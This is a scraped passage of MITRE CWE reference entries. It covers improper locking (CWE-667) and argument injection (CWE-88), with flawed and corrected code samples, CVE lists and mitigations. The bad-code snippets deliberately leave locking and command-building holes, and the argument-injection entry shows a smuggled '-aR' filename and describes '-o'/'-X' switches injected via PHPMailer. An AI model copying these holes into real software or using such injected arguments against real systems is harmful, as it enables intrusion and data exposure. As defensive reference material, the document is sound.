2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2010-02-16	Path Traversal

Weakness ID: 667

Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

Extended Description

Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	412	Unrestricted Externally Accessible Lock
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	413	Improper Resource Locking
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	414	Missing Lock Check
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	609	Double-Checked Locking
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	764	Multiple Locks of a Critical Resource
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	765	Multiple Unlocks of a Critical Resource
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	832	Unlock of a Resource that is not Locked
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	833	Deadlock
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1232	Improper Lock Behavior After Power State Transition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1233	Security-Sensitive Hardware Controls with Missing Lock Bit Protection
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1234	Hardware Internal or Debug Modes Allow Override of Locks

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation

Common Consequences

Scope	Impact	Likelihood
Availability	Technical Impact: DoS: Resource Consumption (CPU) Inconsistent locking discipline can lead to deadlock.

Demonstrative Examples

Example 1

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

(bad code)

Example Language: Java

private long someLongValue;
public long getLongValue() {

return someLongValue;

}

public void setLongValue(long l) {

someLongValue = l;

}

Example 2

This code tries to obtain a lock for a file, then writes to it.

(bad code)

Example Language: PHP

function writeToLog($message){

$logfile = fopen("logFile.log", "a");
//attempt to get logfile lock
if (flock($logfile, LOCK_EX)) {

fwrite($logfile,$message);
// unlock logfile
flock($logfile, LOCK_UN);

}
else {

print "Could not obtain lock on logFile.log, message not recorded\n";

}

}
fclose($logFile);

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Example 3

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)

Example Language: C

void f(pthread_mutex_t *mutex) {

pthread_mutex_lock(mutex);

/* access shared resource */

pthread_mutex_unlock(mutex);

}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)

Example Language: C

int f(pthread_mutex_t *mutex) {

int result;

result = pthread_mutex_lock(mutex);
if (0 != result)

return result;

/* access shared resource */

return pthread_mutex_unlock(mutex);

}

Example 4

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

(bad code)

Example Language: Java

if (helper == null) {

synchronized (this) {

if (helper == null) {

helper = new Helper();

}

}
return helper;

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

(bad code)

helper = new Helper();

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

Observed Examples

Reference	Description
CVE-2021-1782	Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic.
CVE-2009-2857	OS deadlock
CVE-2009-1961	OS deadlock involving 3 separate functions
CVE-2009-2699	deadlock in library
CVE-2009-4272	deadlock triggered by packets that force collisions in a routing table
CVE-2002-1850	read/write deadlock between web server and script
CVE-2004-0174	web server deadlock involving multiple listening connections
CVE-2009-1388	multiple simultaneous calls to the same function trigger deadlock.
CVE-2006-5158	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).
CVE-2006-4342	deadlock when an operation is performed on a resource while it is being removed.
CVE-2006-2374	Deadlock in device driver triggered by using file handle of a related device.
CVE-2006-2275	Deadlock when large number of small messages cannot be processed quickly enough.
CVE-2005-3847	OS kernel has deadlock triggered by a signal during a core dump.
CVE-2005-3106	Race condition leads to deadlock.
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833)
CVE-2001-0682	Program can not execute when attacker obtains a mutex.
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file.
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file.
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness.
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.

Potential Mitigations

Phase: Implementation

Strategy: Libraries or Frameworks

Use industry standard APIs to implement locking mechanism.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	986	SFP Secondary Cluster: Missing Lock
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1401	Comprehensive Categorization: Concurrency

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	CON31-C	CWE More Abstract	Do not destroy a mutex while it is locked
CERT C Secure Coding	POS48-C	CWE More Abstract	Do not unlock or destroy another POSIX thread's mutex
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J		Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)	VNA05-J		Ensure atomicity when reading and writing 64-bit values
The CERT Oracle Secure Coding Standard for Java (2011)	LCK06-J		Do not use an instance lock to protect shared static data
Software Fault Patterns	SFP19		Missing Lock
OMG ASCSM	ASCSM-CWE-667

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-25	Forced Deadlock
CAPEC-26	Leveraging Race Conditions
CAPEC-27	Leveraging Race Conditions via Symbolic Links

References

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-667. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2008-04-11 (CWE Draft 9, 2008-04-11)	CWE Content Team	MITRE
2008-04-11 (CWE Draft 9, 2008-04-11)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Related_Attack_Patterns
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Relationships
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Common_Consequences
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Description, Name, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Observed_Examples, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2019-09-23	CWE Content Team	MITRE
2019-09-23	updated Description, Maintenance_Notes, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships, Type
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2010-12-13	Insufficient Locking

Weakness ID: 88

View customized information:

Description

Extended Description

When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed. This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters. When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer. The attacker may then be able to change the behavior of the command. Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	137	Data Neutralization Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

PHP (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Technical Impact: Execute Unauthorized Code or Commands; Alter Execution Logic; Read Application Data; Modify Application Data An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.

Demonstrative Examples

Example 1

Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed.

(bad code)

Example Language: Perl

my $arg = GetArgument("filename");
do_listing($arg);

sub do_listing {

my($fname) = @_;
if (! validate_name($fname)) {

print "Error: name is not well-formed!\n";
return;

}
# build command
my $cmd = "/bin/ls -l $fname";
system($cmd);

}

sub validate_name {

my($name) = @_;
if ($name =~ /^[\w\-]+$/) {

return(1);

}
else {

return(0);

}

However, validate_name() allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories.

There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using system() altogether, instead relying on internal functions.

Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option.

Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as:

(good code)

Example Language: Perl

if ($name =~ /^\w[\w\-]+$/) ...

Example 2

CVE-2016-10033 / [REF-1249] provides a useful real-world example of this weakness within PHPMailer.

The program calls PHP's mail() function to compose and send mail. The fifth argument to mail() is a set of parameters. The program intends to provide a "-fSENDER" parameter, where SENDER is expected to be a well-formed email address. The program has already validated the e-mail address before invoking mail(), but there is a lot of flexibility in what constitutes a well-formed email address, including whitespace. With some additional allowed characters to perform some escaping, the adversary can specify an additional "-o" argument (listing an output file) and a "-X" argument (giving a program to execute). Additional details for this kind of exploit are in [REF-1250].

Observed Examples

Reference	Description
CVE-2022-36069	Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution.
CVE-1999-0113	Canonical Example - "-froot" argument is passed on to another program, where the "-f" causes execution as user "root"
CVE-2001-0150	Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands.
CVE-2001-0667	Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed.
CVE-2002-0985	Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands.
CVE-2003-0907	Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp://" URL.
CVE-2004-0121	Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs.
CVE-2004-0473	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
CVE-2004-0480	Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file.
CVE-2004-0489	SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option.
CVE-2004-0411	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
CVE-2005-4699	Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter.
CVE-2006-1865	Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.
CVE-2006-2056	Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2057	Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2058	Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2312	Argument injection vulnerability in the URI handler in Skype 2.0..104 and 2.5..0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.
CVE-2006-3015	Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.
CVE-2006-4692	Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability."
CVE-2006-6597	Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.
CVE-2007-0882	Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
CVE-2019-13475	Argument injection allows execution of arbitrary commands by injecting a "-exec" option, which is executed by the command.
CVE-2016-10033	Argument injection in mail-processing function allows writing unxpected files and executing programs using tecnically-valid email addresses that insert "-o" and "-X" switches.

Potential Mitigations

Phase: Implementation

Strategy: Parameterization

Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.

Effectiveness: High

Phase: Architecture and Design

Strategy: Input Validation

Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Phase: Implementation

Strategy: Input Validation

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Automated Static Analysis

Effectiveness: High

Affected Resources

System Process

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	810	OWASP Top Ten 2010 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	878	CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	929	OWASP Top Ten 2013 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1027	OWASP Top Ten 2017 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Argument Injection or Modification
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV33-C	Imprecise	Do not call system()
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems
WASC	30		Mail Command Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-137	Parameter Injection
CAPEC-174	Flash Parameter Injection
CAPEC-41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads
CAPEC-460	HTTP Parameter Pollution (HPP)
CAPEC-88	OS Command Injection

References

[REF-859] Steven Christey. "Argument injection issues". <https://seclists.org/bugtraq/2007/Feb/234ed>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "The Argument Array", Page 567. 1st Edition. Addison Wesley. 2006.

[REF-1030] Eldar Marcussen. "Security issues with using PHP's escapeshellarg". 2013-11-13. <https://baesystemsai.blogspot.com/2013/11/security-issues-with-using-phps.html>.

[REF-1249] Dawid Golunski. "PHPMailer < 5.2.18 Remote Code Execution [CVE-2016-10033]". 2016-12-25. <https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html>.

[REF-1250] Dawid Golunski. "Pwning PHP mail() function For Fun And RCE". 2017-05-03. <https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2021-05-28	Anonymous External Contributor
2021-05-28	Identified inappropriate demonstrative example, suggested new observed example, applicable language.
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Other_Notes, Relationship_Notes
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Observed_Examples
2010-02-16	CWE Content Team	MITRE
